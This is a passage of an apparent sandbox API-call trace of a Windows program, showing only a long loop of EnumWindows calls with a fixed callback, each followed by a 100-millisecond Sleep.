[0147.918] Sleep (dwMilliseconds=0x64) [0147.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.921] Sleep (dwMilliseconds=0x64) [0147.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.923] Sleep (dwMilliseconds=0x64) [0147.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.924] Sleep (dwMilliseconds=0x64) [0147.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.926] Sleep (dwMilliseconds=0x64) [0147.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.927] Sleep (dwMilliseconds=0x64) [0147.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.929] Sleep (dwMilliseconds=0x64) [0147.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.930] Sleep (dwMilliseconds=0x64) [0147.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.932] Sleep (dwMilliseconds=0x64) [0147.933] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.934] Sleep (dwMilliseconds=0x64) [0147.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.970] Sleep (dwMilliseconds=0x64) [0147.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.971] Sleep (dwMilliseconds=0x64) [0147.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.973] Sleep (dwMilliseconds=0x64) [0147.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.975] Sleep (dwMilliseconds=0x64) [0147.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.978] Sleep (dwMilliseconds=0x64) [0147.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.980] Sleep (dwMilliseconds=0x64) [0147.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.983] Sleep (dwMilliseconds=0x64) [0147.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.985] Sleep (dwMilliseconds=0x64) [0147.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.987] Sleep (dwMilliseconds=0x64) [0147.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.998] Sleep (dwMilliseconds=0x64) [0147.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0147.999] Sleep (dwMilliseconds=0x64) [0148.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.001] Sleep (dwMilliseconds=0x64) [0148.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.003] Sleep (dwMilliseconds=0x64) [0148.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.006] Sleep (dwMilliseconds=0x64) [0148.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.008] Sleep (dwMilliseconds=0x64) [0148.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.010] Sleep (dwMilliseconds=0x64) [0148.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.012] Sleep (dwMilliseconds=0x64) [0148.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.014] Sleep (dwMilliseconds=0x64) [0148.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.016] Sleep (dwMilliseconds=0x64) [0148.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.018] Sleep (dwMilliseconds=0x64) [0148.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.019] Sleep (dwMilliseconds=0x64) [0148.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.021] Sleep (dwMilliseconds=0x64) [0148.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.022] Sleep (dwMilliseconds=0x64) [0148.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.024] Sleep (dwMilliseconds=0x64) [0148.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.026] Sleep (dwMilliseconds=0x64) [0148.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.028] Sleep (dwMilliseconds=0x64) [0148.030] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.030] Sleep (dwMilliseconds=0x64) [0148.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.032] Sleep (dwMilliseconds=0x64) [0148.034] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.034] Sleep (dwMilliseconds=0x64) [0148.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.035] Sleep (dwMilliseconds=0x64) [0148.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.037] Sleep (dwMilliseconds=0x64) [0148.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.039] Sleep (dwMilliseconds=0x64) [0148.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.040] Sleep (dwMilliseconds=0x64) [0148.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.042] Sleep (dwMilliseconds=0x64) [0148.044] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.044] Sleep (dwMilliseconds=0x64) [0148.046] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.046] Sleep (dwMilliseconds=0x64) [0148.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.047] Sleep (dwMilliseconds=0x64) [0148.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.050] Sleep (dwMilliseconds=0x64) [0148.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.052] Sleep (dwMilliseconds=0x64) [0148.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.053] Sleep (dwMilliseconds=0x64) [0148.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.055] Sleep (dwMilliseconds=0x64) [0148.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.057] Sleep (dwMilliseconds=0x64) [0148.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.059] Sleep (dwMilliseconds=0x64) [0148.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.061] Sleep (dwMilliseconds=0x64) [0148.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.062] Sleep (dwMilliseconds=0x64) [0148.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.064] Sleep (dwMilliseconds=0x64) [0148.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.065] Sleep (dwMilliseconds=0x64) [0148.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.067] Sleep (dwMilliseconds=0x64) [0148.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.068] Sleep (dwMilliseconds=0x64) [0148.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.070] Sleep (dwMilliseconds=0x64) [0148.072] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.072] Sleep (dwMilliseconds=0x64) [0148.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.074] Sleep (dwMilliseconds=0x64) [0148.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.077] Sleep (dwMilliseconds=0x64) [0148.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.078] Sleep (dwMilliseconds=0x64) [0148.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.081] Sleep (dwMilliseconds=0x64) [0148.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.083] Sleep (dwMilliseconds=0x64) [0148.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.085] Sleep (dwMilliseconds=0x64) [0148.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.087] Sleep (dwMilliseconds=0x64) [0148.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.088] Sleep (dwMilliseconds=0x64) [0148.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.090] Sleep (dwMilliseconds=0x64) [0148.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.092] Sleep (dwMilliseconds=0x64) [0148.094] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.094] Sleep (dwMilliseconds=0x64) [0148.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.096] Sleep (dwMilliseconds=0x64) [0148.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.098] Sleep (dwMilliseconds=0x64) [0148.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.100] Sleep (dwMilliseconds=0x64) [0148.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.101] Sleep (dwMilliseconds=0x64) [0148.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.103] Sleep (dwMilliseconds=0x64) [0148.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.105] Sleep (dwMilliseconds=0x64) [0148.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.109] Sleep (dwMilliseconds=0x64) [0148.111] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.111] Sleep (dwMilliseconds=0x64) [0148.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.113] Sleep (dwMilliseconds=0x64) [0148.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.114] Sleep (dwMilliseconds=0x64) [0148.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.116] Sleep (dwMilliseconds=0x64) [0148.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.118] Sleep (dwMilliseconds=0x64) [0148.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.215] Sleep (dwMilliseconds=0x64) [0148.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.217] Sleep (dwMilliseconds=0x64) [0148.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.218] Sleep (dwMilliseconds=0x64) [0148.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.220] Sleep (dwMilliseconds=0x64) [0148.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.221] Sleep (dwMilliseconds=0x64) [0148.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.223] Sleep (dwMilliseconds=0x64) [0148.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.241] Sleep (dwMilliseconds=0x64) [0148.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.243] Sleep (dwMilliseconds=0x64) [0148.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.244] Sleep (dwMilliseconds=0x64) [0148.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.278] Sleep (dwMilliseconds=0x64) [0148.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.345] Sleep (dwMilliseconds=0x64) [0148.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.346] Sleep (dwMilliseconds=0x64) [0148.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.348] Sleep (dwMilliseconds=0x64) [0148.349] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.349] Sleep (dwMilliseconds=0x64) [0148.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.351] Sleep (dwMilliseconds=0x64) [0148.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.353] Sleep (dwMilliseconds=0x64) [0148.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.355] Sleep (dwMilliseconds=0x64) [0148.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.356] Sleep (dwMilliseconds=0x64) [0148.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.358] Sleep (dwMilliseconds=0x64) [0148.361] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.361] Sleep (dwMilliseconds=0x64) [0148.363] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.363] Sleep (dwMilliseconds=0x64) [0148.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.364] Sleep (dwMilliseconds=0x64) [0148.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.366] Sleep (dwMilliseconds=0x64) [0148.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.367] Sleep (dwMilliseconds=0x64) [0148.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.369] Sleep (dwMilliseconds=0x64) [0148.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.370] Sleep (dwMilliseconds=0x64) [0148.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.372] Sleep (dwMilliseconds=0x64) [0148.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.374] Sleep (dwMilliseconds=0x64) [0148.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.377] Sleep (dwMilliseconds=0x64) [0148.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.379] Sleep (dwMilliseconds=0x64) [0148.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.382] Sleep (dwMilliseconds=0x64) [0148.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.384] Sleep (dwMilliseconds=0x64) [0148.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.386] Sleep (dwMilliseconds=0x64) [0148.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.388] Sleep (dwMilliseconds=0x64) [0148.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.390] Sleep (dwMilliseconds=0x64) [0148.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.392] Sleep (dwMilliseconds=0x64) [0148.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.399] Sleep (dwMilliseconds=0x64) [0148.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.476] Sleep (dwMilliseconds=0x64) [0148.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.526] Sleep (dwMilliseconds=0x64) [0148.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.638] Sleep (dwMilliseconds=0x64) [0148.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.691] Sleep (dwMilliseconds=0x64) [0148.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.718] Sleep (dwMilliseconds=0x64) [0148.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.723] Sleep (dwMilliseconds=0x64) [0148.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.729] Sleep (dwMilliseconds=0x64) [0148.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.731] Sleep (dwMilliseconds=0x64) [0148.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.734] Sleep (dwMilliseconds=0x64) [0148.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.736] Sleep (dwMilliseconds=0x64) [0148.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.737] Sleep (dwMilliseconds=0x64) [0148.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.739] Sleep (dwMilliseconds=0x64) [0148.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.741] Sleep (dwMilliseconds=0x64) [0148.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.743] Sleep (dwMilliseconds=0x64) [0148.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.745] Sleep (dwMilliseconds=0x64) [0148.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.746] Sleep (dwMilliseconds=0x64) [0148.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.748] Sleep (dwMilliseconds=0x64) [0148.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.785] Sleep (dwMilliseconds=0x64) [0148.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.787] Sleep (dwMilliseconds=0x64) [0148.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.788] Sleep (dwMilliseconds=0x64) [0148.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.790] Sleep (dwMilliseconds=0x64) [0148.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.847] Sleep (dwMilliseconds=0x64) [0148.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.849] Sleep (dwMilliseconds=0x64) [0148.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.853] Sleep (dwMilliseconds=0x64) [0148.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.855] Sleep (dwMilliseconds=0x64) [0148.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.858] Sleep (dwMilliseconds=0x64) [0148.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.859] Sleep (dwMilliseconds=0x64) [0148.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.861] Sleep (dwMilliseconds=0x64) [0148.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.864] Sleep (dwMilliseconds=0x64) [0148.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.866] Sleep (dwMilliseconds=0x64) [0148.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.868] Sleep (dwMilliseconds=0x64) [0148.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.870] Sleep (dwMilliseconds=0x64) [0148.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.872] Sleep (dwMilliseconds=0x64) [0148.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.873] Sleep (dwMilliseconds=0x64) [0148.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.875] Sleep (dwMilliseconds=0x64) [0148.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.893] Sleep (dwMilliseconds=0x64) [0148.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.895] Sleep (dwMilliseconds=0x64) [0148.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.896] Sleep (dwMilliseconds=0x64) [0148.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.898] Sleep (dwMilliseconds=0x64) [0148.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.899] Sleep (dwMilliseconds=0x64) [0148.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.901] Sleep (dwMilliseconds=0x64) [0148.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.903] Sleep (dwMilliseconds=0x64) [0148.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.905] Sleep (dwMilliseconds=0x64) [0148.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.906] Sleep (dwMilliseconds=0x64) [0148.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.908] Sleep (dwMilliseconds=0x64) [0148.910] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.910] Sleep (dwMilliseconds=0x64) [0148.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.911] Sleep (dwMilliseconds=0x64) [0148.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.913] Sleep (dwMilliseconds=0x64) [0148.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.915] Sleep (dwMilliseconds=0x64) [0148.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.916] Sleep (dwMilliseconds=0x64) [0148.917] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.918] Sleep (dwMilliseconds=0x64) [0148.919] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.919] Sleep (dwMilliseconds=0x64) [0148.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.921] Sleep (dwMilliseconds=0x64) [0148.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.923] Sleep (dwMilliseconds=0x64) [0148.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.926] Sleep (dwMilliseconds=0x64) [0148.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.928] Sleep (dwMilliseconds=0x64) [0148.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.930] Sleep (dwMilliseconds=0x64) [0148.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.932] Sleep (dwMilliseconds=0x64) [0148.966] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.967] Sleep (dwMilliseconds=0x64) [0148.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.969] Sleep (dwMilliseconds=0x64) [0148.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.971] Sleep (dwMilliseconds=0x64) [0148.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.973] Sleep (dwMilliseconds=0x64) [0148.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.975] Sleep (dwMilliseconds=0x64) [0148.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0148.977] Sleep (dwMilliseconds=0x64) [0149.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.053] Sleep (dwMilliseconds=0x64) [0149.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.130] Sleep (dwMilliseconds=0x64) [0149.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.175] Sleep (dwMilliseconds=0x64) [0149.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.177] Sleep (dwMilliseconds=0x64) [0149.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.181] Sleep (dwMilliseconds=0x64) [0149.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.183] Sleep (dwMilliseconds=0x64) [0149.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.185] Sleep (dwMilliseconds=0x64) [0149.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.186] Sleep (dwMilliseconds=0x64) [0149.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.187] Sleep (dwMilliseconds=0x64) [0149.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.189] Sleep (dwMilliseconds=0x64) [0149.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.191] Sleep (dwMilliseconds=0x64) [0149.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.193] Sleep (dwMilliseconds=0x64) [0149.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.195] Sleep (dwMilliseconds=0x64) [0149.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.197] Sleep (dwMilliseconds=0x64) [0149.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.198] Sleep (dwMilliseconds=0x64) [0149.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.214] Sleep (dwMilliseconds=0x64) [0149.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.216] Sleep (dwMilliseconds=0x64) [0149.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.218] Sleep (dwMilliseconds=0x64) [0149.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.219] Sleep (dwMilliseconds=0x64) [0149.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.221] Sleep (dwMilliseconds=0x64) [0149.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.222] Sleep (dwMilliseconds=0x64) [0149.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.225] Sleep (dwMilliseconds=0x64) [0149.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.227] Sleep (dwMilliseconds=0x64) [0149.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.229] Sleep (dwMilliseconds=0x64) [0149.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.230] Sleep (dwMilliseconds=0x64) [0149.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.232] Sleep (dwMilliseconds=0x64) [0149.233] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.233] Sleep (dwMilliseconds=0x64) [0149.235] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.235] Sleep (dwMilliseconds=0x64) [0149.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.236] Sleep (dwMilliseconds=0x64) [0149.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.247] Sleep (dwMilliseconds=0x64) [0149.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.249] Sleep (dwMilliseconds=0x64) [0149.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.251] Sleep (dwMilliseconds=0x64) [0149.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.253] Sleep (dwMilliseconds=0x64) [0149.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.254] Sleep (dwMilliseconds=0x64) [0149.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.256] Sleep (dwMilliseconds=0x64) [0149.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.258] Sleep (dwMilliseconds=0x64) [0149.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.259] Sleep (dwMilliseconds=0x64) [0149.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.260] Sleep (dwMilliseconds=0x64) [0149.262] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.262] Sleep (dwMilliseconds=0x64) [0149.263] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.263] Sleep (dwMilliseconds=0x64) [0149.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.267] Sleep (dwMilliseconds=0x64) [0149.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.271] Sleep (dwMilliseconds=0x64) [0149.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.272] Sleep (dwMilliseconds=0x64) [0149.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.274] Sleep (dwMilliseconds=0x64) [0149.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.275] Sleep (dwMilliseconds=0x64) [0149.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.277] Sleep (dwMilliseconds=0x64) [0149.278] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.279] Sleep (dwMilliseconds=0x64) [0149.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.280] Sleep (dwMilliseconds=0x64) [0149.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.282] Sleep (dwMilliseconds=0x64) [0149.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.283] Sleep (dwMilliseconds=0x64) [0149.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.285] Sleep (dwMilliseconds=0x64) [0149.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.287] Sleep (dwMilliseconds=0x64) [0149.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0149.288] Sleep (dwMilliseconds=0x64) [0149.291] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 